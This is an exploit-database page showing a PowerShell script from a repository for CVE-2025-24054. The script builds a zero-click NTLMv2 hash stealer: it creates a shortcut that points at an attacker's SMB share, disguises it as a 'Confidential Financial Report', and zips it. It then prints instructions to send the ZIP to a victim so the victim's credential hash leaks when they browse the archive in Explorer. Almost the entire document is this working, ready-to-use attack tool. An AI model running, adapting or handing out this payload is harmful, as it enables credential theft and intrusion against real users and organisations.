Exploit databaseDownload repository ZIP
GH-82ac6d658f624fc58780a6663947a165
untouchable17/cve-2025-24054
Sources for CVE-2025-24054
13 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
untouchable17/cve-2025-24054Revision 343c1e9953b9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
patch_bypass.ps1
PowerShell · 4,357 bytes<#
.SYNOPSIS
Zero-Click NTLMv2 Hash Stealer - LNK inside ZIP
March 2025 Bypass (CVE-2025-50154 / CVE-2025-59214)
Works on fully patched Windows 10/11/Server 2022/2025
#>
[CmdletBinding(SupportsShouldProcess)]
param(
[Parameter(Mandatory=$true, Position=0)]
[string]$IP,
[string]$Share = 'share',
[string]$File = 'payload.exe',
[string]$Lure = 'FileName',
[string]$OutDir = ".", # По умолчанию текущая папка (current dir)
[switch]$KeepLnk
)
$CurrentDir = Get-Location
$OutDir = if ($OutDir -eq ".") { $CurrentDir.Path } else { $OutDir }
if (-not [System.IO.Path]::IsPathRooted($OutDir)) {
$OutDir = Join-Path $CurrentDir.Path $OutDir
}
if (-not (Test-Path $OutDir)) {
New-Item -ItemType Directory -Path $OutDir -Force | Out-Null
}
$UncPath = "\\$IP\$Share\$File"
$LnkPath = Join-Path $OutDir "$Lure.lnk"
$ZipPath = Join-Path $OutDir "$Lure.zip"
if ($PSCmdlet.ShouldProcess($ZipPath, 'Generate zero-click LNK payload')) {
$Shell = New-Object -ComObject WScript.Shell
$Lnk = $Shell.CreateShortcut($LnkPath)
$Lnk.TargetPath = $UncPath
$Lnk.IconLocation = '%SystemRoot%\system32\shell32.dll,21'
$Lnk.Description = 'Confidential Financial Report - Q4 2025'
$Lnk.WorkingDirectory = "$env:USERPROFILE\Documents"
$Lnk.WindowStyle = 1
$Lnk.Save()
if (-not (Test-Path $LnkPath)) {
Write-Host "[ERROR] LNK file was not created!" -ForegroundColor Red
return
}
Write-Host "[+] LNK file created: $LnkPath" -ForegroundColor Green
Write-Host "[+] LNK file size: $((Get-Item $LnkPath).Length) bytes" -ForegroundColor Green
try {
Compress-Archive -Path $LnkPath -DestinationPath $ZipPath -Force
Write-Host "[+] ZIP archive created: $ZipPath" -ForegroundColor Green
}
catch {
Write-Host "[ERROR] Failed to create ZIP: $($_.Exception.Message)" -ForegroundColor Red
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem
$compressionLevel = [System.IO.Compression.CompressionLevel]::Optimal
[System.IO.Compression.ZipFile]::CreateFromDirectory((Split-Path $LnkPath), $ZipPath, $compressionLevel, $false)
Write-Host "[+] ZIP created using .NET method" -ForegroundColor Green
}
catch {
Write-Host "[ERROR] Alternative ZIP method also failed: $($_.Exception.Message)" -ForegroundColor Red
}
}
if (-not $KeepLnk) {
if (Test-Path $LnkPath) {
Remove-Item -LiteralPath $LnkPath -Force -ErrorAction SilentlyContinue
Write-Host "[-] Temporary LNK file removed" -ForegroundColor Gray
}
} else {
Write-Host "[+] LNK file preserved: $LnkPath" -ForegroundColor Yellow
}
if (Test-Path $ZipPath) {
$Size = (Get-Item $ZipPath).Length
$SizeStr = if ($Size -gt 1MB) { '{0:N2} MB' -f ($Size/1MB) }
elseif ($Size -gt 1KB) { '{0:N1} KB' -f ($Size/1KB) }
else { "$Size bytes" }
Write-Host "`nPayload created successfully!" -ForegroundColor Green
Write-Host " SMB Server : $IP" -ForegroundColor White
Write-Host " UNC Trigger : $UncPath" -ForegroundColor Red
Write-Host " Output Directory : $ZipPath" -ForegroundColor Cyan
Write-Host " LNK_FileName : $Lure.lnk" -ForegroundColor Yellow
Write-Host " Keep LNK File : $($KeepLnk.IsPresent)" -ForegroundColor White
if ($KeepLnk) {
Write-Host "`nStandalone -> $LnkPath (available for transfer)" -ForegroundColor Green
}
} else {
Write-Host "`n[WARNING] ZIP file was not created, but LNK file is available." -ForegroundColor Yellow
if ($KeepLnk) {
Write-Host " LNK File -> $LnkPath" -ForegroundColor Green
}
}
Write-Host "`nDeployment options:" -ForegroundColor Cyan
Write-Host " 1. Send ZIP file to victim (zero-click)" -ForegroundColor White
if ($KeepLnk) {
Write-Host " 2. Transfer LNK to remote host" -ForegroundColor White
Write-Host " 3. Upload LNK to web server for distribution" -ForegroundColor White
}
Write-Host "`nHash leaks instantly when victim opens container in Explorer" -ForegroundColor Cyan
}